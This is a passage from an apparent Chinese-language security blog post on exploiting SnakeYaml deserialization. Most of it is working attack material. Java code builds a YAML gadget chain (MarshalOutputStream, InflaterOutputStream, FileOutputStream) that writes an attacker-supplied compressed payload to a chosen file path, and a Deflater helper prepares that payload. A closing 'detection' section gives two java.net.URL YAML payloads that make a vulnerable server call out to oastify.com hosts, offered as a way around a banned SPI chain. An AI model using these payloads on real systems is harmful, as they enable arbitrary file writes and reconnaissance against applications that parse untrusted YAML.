String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\""+Destpath+"\"],false],!!java.util.zip.Inflater { input: !!binary "+base64str+" },1048576]]";
System.out.println(poc);
return poc;
}

public static byte[] compress(byte[] data) {
byte[] output = new byte[0];

Deflater compresser = new Deflater();

compresser.reset();
compresser.setInput(data);
compresser.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!compresser.finished()) {
int i = compresser.deflate(buf);
bos.write(buf, 0, i);
}
output = bos.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
compresser.end();
return output;
}
}

SnakeYaml的探测

这其实用之前的 SPI 机制的链子就可以,我这里就不放了,说一下万一 SPI 机制被 ban 的情况下,如何绕过

1
String payload = "{!!java.net.URL [\"http://e3izs87cvmo4cyb5y9lnppejtaz2nsbh.oastify.com/\"]: 1}";
1
String payload = "{!!java.util.Map {}: 0,!!java.net.URL [\"http://dl2ya7pbdl63uxt4g83m7owib9h25tti.oastify.com\"]: 1}";